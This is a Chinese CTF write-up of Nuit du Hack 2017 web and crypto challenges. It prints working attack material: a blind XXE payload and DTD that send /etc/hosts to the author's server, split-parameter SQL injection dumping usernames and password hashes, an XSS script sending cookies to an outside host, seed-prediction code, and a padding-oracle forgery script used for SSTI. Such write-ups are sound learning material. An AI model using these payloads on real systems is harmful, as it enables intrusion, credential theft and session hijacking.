Nuit du hack 2017 web&crypto Writeup

Nuit du hack 2017 web&crypto Writeup

新博客地址:http://bendawang.site/article/Nuit-du-hack-2017-web-and-crypto-Writeup(ps:短期內csdn和新博客會同步更新)

眼看着三月份過完了,第一次感覺這個月打了好多比賽啊,完全沒有足夠的時間讓我靜下來好好學點知識,幾次比賽打下來,還是發現自己很多很多問題,很多基礎知識打得不牢靠,另外也有很多東西想學,好幾場的比賽加上覆習四月初的考試,真是報警了,明顯感覺自己開始有點浮躁了,狀態不行。等四月份考完試,靜下來認真學點東西。

web-75 No Pain No Gain

進去發現是一個上傳頁面,上傳csv,進行轉換,fuzz時候得到過這樣的錯誤

這裏寫圖片描述

所以猜測是xxe,
然後嘗試一波之後沒有想法,一直都報錯,後來才知道,報錯是沒關係的,因爲已經執行了,所以是一個blind xxe
我之前學習xxe的時候也做了筆記,傳送門:http://bendawang.site/article/XXE-Injection%E7%AC%94%E8%AE%B0

然後直接用裏面的payload改一該就好了,這裏我們一般不讀/etc/passwd,一般讀/etc/hosts,提交的文件內容如下:

<!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts"><!ENTITY % xxe SYSTEM "http://104.160.43.154:8000/evil.dtd"> %xxe;%send; ]>
<!-- Invitations -->
id,name,email

然後vps上的evil.dtd內容如下:

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://104.160.43.154:8000/xss/?file=%file;'>"
>
%all;

成功獲取到hosts的內容,那麼開始尋找flag,找到死都沒找到,最後蛋總說是在/home/flag/flag裏面,除了伏地膜之外我還能幹啥…orz…..
最後截圖如下:

這裏寫圖片描述

web-100 Slumdog Millionaire

從題目獲取代碼如下:

#!/usr/bin/python2.7

import random

import config
import utils


random.seed(utils.get_pid())
ngames = 0


def generate_combination():
    numbers = ""
    for _ in range(10):
        rand_num = random.randint(0, 99)
        if rand_num < 10:
            numbers += "0"
        numbers += str(rand_num)
        if _ != 9:
            numbers += "-"
    return numbers


def reset_jackpot():
    random.seed(utils.get_pid())
    utils.set_jackpot(0)
    ngames = 0


def draw(user_guess):
    ngames += 1
    if ngames > config.MAX_TRIES:
        reset_jackpot()
    winning_combination = generate_combination()
    if winning_combination == user_guess:
        utils.win()
        reset_jackpot()

查看之後發現很簡單,要是我們知道了seed即那個進程的pid,那麼就能預測所有的組合,所以先在網頁隨便輸入一串東西,然後得到第一次的正確答案,這裏我得到的是56-08-50-98-94-51-01-75-63-61
然後運行如下代碼就好了

import random

def generate_combination():
    numbers = ""
    for _ in range(10):
        rand_num = random.randint(0, 99)
        if rand_num < 10:
            numbers += "0"
        numbers += str(rand_num)
        if _ != 9:
            numbers += "-"
    return numbers
seed=0
for i in xrange(1,10000):
    random.seed(i)
    ret = generate_combination()
    print ret
    if (ret == '56-08-50-98-94-51-01-75-63-61'):
        print 'find',i
        seed=i
        break
random.seed(seed)
ans=generate_combination()
ans=generate_combination()
print ans

得到ans提交就拿到flag了

這裏寫圖片描述

web-120 Divide and rule

首先點進去是個登陸頁面,

這裏寫圖片描述

然後去search那兒找東西
發現那一堆查詢參數是存在注入的,隨便加個單引號就不返回值了。
然後嘗試聯合查詢發現還是不返回,後來想到這麼多參數很可能是長度受了限制,然後就分開來,最後測試成功,如下:

firstname='union select/*&lastname=*/1,2,3,4,5,6#&position=&country=123&gender=

這裏寫圖片描述

但是有一個問題就是,長度限制後來測出來好像是15,這樣子沒辦法查表名和列名之類的,因爲information_schema太長了。
後來腦洞了一下猜到表名是users
然後根據初始登錄頁面的name猜到字段名分別是loginpassword

firstname='union select/*&lastname=*/login/*&position=*/,2,3,4,5,6 /*#&country=*/from users#123&gender=

firstname='union select/*&lastname=*/password/*&position=*/,2,3,4,5,6 /*#&country=*/from users#123&gender=

得到三個用戶名和三個md5的密碼值,MD5解密之後登陸就拿到flag了

#三個用戶名
ruleradmin
patrick
raoul

#三個密碼
04fc95a5debc7474a84fad9c50a1035d #smart1985
db6eab0550da4b056d1a33ba2e8ced66 #1badgurl
7ac89e3c1f1a71ee19374d7e8912714b #1badboy

這裏寫圖片描述

web-200 Purple Posse Market

進去之後研究半天,發現有一個contact頁面可以提交一些東西,然後其他好像也沒有太多用,題目描述讓拿到管理員的IBAN賬戶。那多半是xss拿到cookie登陸後臺了,然後在評論這裏嘗試提交,發現根本沒有過濾,下面代碼直接就能返回

<script src="http://你的xss平臺"></script>

剛開始做的時候bot巨慢無比。。10多分鐘才打回來知道沒有過濾,白白浪費我半天,後來突然就變快了。。。僵硬。。
回到題目,既然沒有過濾,那麼直接執行js就好了,提交如下:

<script src="http://你的網址/requests.js"></script>

然後這個request.js這樣寫的

$.get("http://你的xss平臺?a="+document.cookie,function(data,status){})

截圖如下:

這裏寫圖片描述

登陸進去就能看到IBAN賬戶,這就是flag了。

web-250 WhyUNoKnock

crypto-250 MarkIsFaillingDownDrunk

進去之後隨便點一個,發現鏈接變成這個

http://markisfaillingdowndrunk.quals.nuitduhack.com/view/deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02

這一看都不用想,80%是padding oracle
然後開始寫代碼,先把他的幾串東西的明文搞出來,代碼如下:

import requests
import base64
import time
url='http://markisfaillingdowndrunk.quals.nuitduhack.com/view/'
N=16
phpsession=""
ID=""
def inject(param):
    result=requests.get(url+param)
    #print result.content
    return result

def xor(a, b):
    print "length",len(a),len(b)
    return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])

def pad(string,N):
    l=len(string)
    if l!=N:
        return string+chr(N-l)*(N-l)

def padding_oracle(N,cipher): ##return middle
    get=""
    for i in xrange(1,N+1):
        for j in xrange(0,256):
            padding=xor(get,chr(i)*(i-1))
            c=chr(0)*(16-i)+chr(j)+padding+cipher
            print c.encode('hex')
            result=inject(c.encode('hex'))
            if result.status_code!=500:
                print j
                get=chr(j^i)+get
                break
    return get
s=["deadbeefcafedeadbeefcafe04030201b2c7da6ca163321fc0e96e98df20b58389e055de04be2972edc654d2f609d9608bc083bf5f35eba62d7faf73d7ec7fec88743a46bbd5711e9f954f7f54c211a3ef30067df218e84a474ec00dc1789b3c053fd578c86f6e87e080a63c6191289cd4f2e5178882f36097ae40214323b2bde2491de75c6603a708b61f80efc07b2da2d626137891b74c7019b040db51f468a2d6978e726e5c35ad9ce7f1dbc06cba",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf441aee00f376a598270a8d830ddf58ab489e053dbbfba4b30652f718567777364a07d5b453fb6ab946cc6ce6485f6250d583fbaac9fb0d169de6184a1c1fa0a30",
"deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02"]
IV=s[0][:16]
#str4
ans=[]
for i in xrange(4):
    c=[]
    str1=s[i].decode('hex')
    #print s[i]
    #print str1
    for j in xrange(0,len(str1),N):
        c.append(str1[j:j+N])
    l=len(c)
    print l
    p=[""]*l
    for j in xrange(l-1,0,-1):
        middle=padding_oracle(N,c[j])
        print "========================middle================================"
        print j
        print middle.encode('hex')
        p[j]=xor(middle,c[j-1])
        print p[j]
    print "==========================plain==============================="
    print i
    print p
    ans.append(p)
print ans

服務器真是慢的我想日狗了,做了那麼多padding oracle,從來沒有遇到這麼慢的服務器好吧。。。平均一個一分鐘,一組就是16分鐘,光跑第一串出來就用了n久。。。
然後我是開了兩個程序順序反序一起跑,把第一串和第四串跑出來是個這樣的東西,

1:https://gist.githubusercontent.com/MarkIsFaillingDownDrunk/b9ed0141c97ae6488379dafa088c04d2/raw/4129795e82bb978e78b00bcb9b9fc4b6acb44898/test.md\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10

4:https://raw.githubusercontent.com/dlitz/pycrypto/master/README\x02\x02

訪問一下,內容是這個

# Welcome to MarkParser !
## This is a simple Markdown test.

Test for dynamic rendering :

[{{ config['WEBSITE_NAME'] }}](/)

再看看它網頁的內容

這裏寫圖片描述

這樣就很明白了,
也就是說他的view後面直接跟的鏈接。他會讀取鏈接的內容,然後進行markdown轉換,然後在進行模板渲染。
所以接下來的思路也就很明確很簡單了,讓它訪問我們的網站預先放好的md,然後就是個ssti了,通過一些奇怪姿勢找到執行命令或是讀取文件的函數就行了。
這裏由於有了第四個鏈接,所以我構造一個目錄如下:

第四個密文對應明文: https://raw.githubusercontent.com/dlitz/pycrypto/master/README\x02\x02
我的網頁         : http://104.160.43.154:8000/xxxxxxxxxxxxxxxxxxxxx/master/README\x02\x02

最後一組明文和他密文解密出來的一樣,這樣我就可以維持最後一個分組密文以及倒數第二個分組的密文不變了。然後依次通過padding oracle獲取中間值,與構造的密文異或得到構造的密文,從而得到我的網址對應的密文
至於具體padding oracle僞造明文的原理這裏不贅述了,可以去看我之前的博客或是直接私聊我。
代碼如下:

import requests
import base64
import time
url='http://markisfaillingdowndrunk.quals.nuitduhack.com/view/'
N=16
phpsession=""
ID=""
def inject(param):
    result=requests.get(url+param)
    #print result.content
    return result

def xor(a, b):
    print "length",len(a),len(b)
    return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])

def pad(string,N):
    l=len(string)
    if l!=N:
        return string+chr(N-l)*(N-l)

def padding_oracle(N,cipher): ##return middle
    get=""
    for i in xrange(1,N+1):
        for j in xrange(0,256):
            padding=xor(get,chr(i)*(i-1))
            c=chr(0)*(16-i)+chr(j)+padding+cipher
            print c.encode('hex')
            result=inject(c.encode('hex'))
            if result.status_code!=500:
                print j
                get=chr(j^i)+get
                break
    return get
'''
s=["deadbeefcafedeadbeefcafe04030201b2c7da6ca163321fc0e96e98df20b58389e055de04be2972edc654d2f609d9608bc083bf5f35eba62d7faf73d7ec7fec88743a46bbd5711e9f954f7f54c211a3ef30067df218e84a474ec00dc1789b3c053fd578c86f6e87e080a63c6191289cd4f2e5178882f36097ae40214323b2bde2491de75c6603a708b61f80efc07b2da2d626137891b74c7019b040db51f468a2d6978e726e5c35ad9ce7f1dbc06cba",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf441aee00f376a598270a8d830ddf58ab489e053dbbfba4b30652f718567777364a07d5b453fb6ab946cc6ce6485f6250d583fbaac9fb0d169de6184a1c1fa0a30",
"deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02"]
IV=s[0][:16]
#str4
ans=[]
for i in xrange(4):
    c=[]
    str1=s[i].decode('hex')
    #print s[i]
    #print str1
    for j in xrange(0,len(str1),N):
        c.append(str1[j:j+N])
    l=len(c)
    print l
    p=[""]*l
    for j in xrange(l-1,0,-1):
        middle=padding_oracle(N,c[j])
        print "========================middle================================"
        print j
        print middle.encode('hex')
        p[j]=xor(middle,c[j-1])
        print p[j]
    print "==========================plain==============================="
    print i
    print p
    ans.append(p)
print ans
'''


'''
1    :   https://gist.githubusercontent.com/MarkIsFaillingDownDrunk/b9ed0141c97ae6488379dafa088c04d2/raw/4129795e82bb978e78b00bcb9b9fc4b6acb44898/test.md\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10
2    :
3    :
4    :   https://raw.githubusercontent.com/dlitz/pycrypto/master/README\x02\x02
myans:   http://104.160.43.154:8000/xxxxxxxxxxxxxxxxxxxxx/master/README\x02\x02

'''

cipher=[
        "deadbeefcafedeadbeefcafe04030201",
        "52208110d1a06ce628ff8e10f4cbc1aa",
        "96ac276f57b6d80e50df1050c455fdf4",
        "40d56ae51399ceb30b5b69153ddc2302",
        "19e3f662023665e8885c90867b8c3a02"
        ]
middle=[
        'b6d9ca9fb9c4f182cc8ebdd0636a7669',
        '2742f463b4d20f89468beb7e80e5a2c5',
        'fb8343033ec2a22120a67322bd25899b',
        '6fb80b9667fcbc9c591e285170992100'
        ]
ans   =[
        "http://104.160.4",
        "3.154:8000/xxxxx",
        "xxxxxxxxxxxxxxxx",
        "/master/README\x02\x02"
       ]

tmp_ans=[""]*5

tmp_ans[4]=cipher[4]
tmp_ans[3]=cipher[3]
tmp_middle=middle[2].decode('hex')
tmp_ans[2]=xor(ans[2],tmp_middle).encode("hex")

tmp_middle=padding_oracle(N,tmp_ans[2].decode("hex"))
print tmp_middle.encode('hex')   #"9d41e1434f05be3bea284b8d2eb8928b".decode('hex')

tmp_ans[1]=xor(ans[1],tmp_middle).encode("hex")
tmp_middle=padding_oracle(N,tmp_ans[1].decode("hex"))
print tmp_middle.encode('hex')   #"c05b49fef1d14b17aa0dd98a591ea57f".decode('hex')

tmp_ans[0]=xor(ans[0],tmp_middle).encode("hex")
view="".join(i for i in tmp_ans)
print view
#a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02

通過上述代碼,我得到我的這個鏈接http://104.160.43.154:8000/xxxxxxxxxxxxxxxxxxxxx/master/README對應的密文是

a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02

然後我修改我的網站的README的內容爲

這裏寫圖片描述

注意下我的這個內容外面包了兩個反撇號,因爲我們剛纔說了,他會讀取鏈接的內容,然後進行markdown轉換,然後在進行模板渲染。markdown,轉換在先,很多我們需要用的符號在markdown裏面都有特殊語義會被轉換,加上這兩個反撇號就好了。
然後嘗試訪問

http://markisfaillingdowndrunk.quals.nuitduhack.com/view/a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02

結果如下:

這裏寫圖片描述

成功了,
好的,接下來就找出SSTI的payload執行一波命令,發現失敗了,經過一番測試才知道題目用的環境是python3,而平時做的題目之類的都是python2,那麼開始在python3下面尋找姿勢。
找了n久n久,終於找到了
最後payload如下:

這裏寫圖片描述

直接訪問得到flag如下:

這裏寫圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章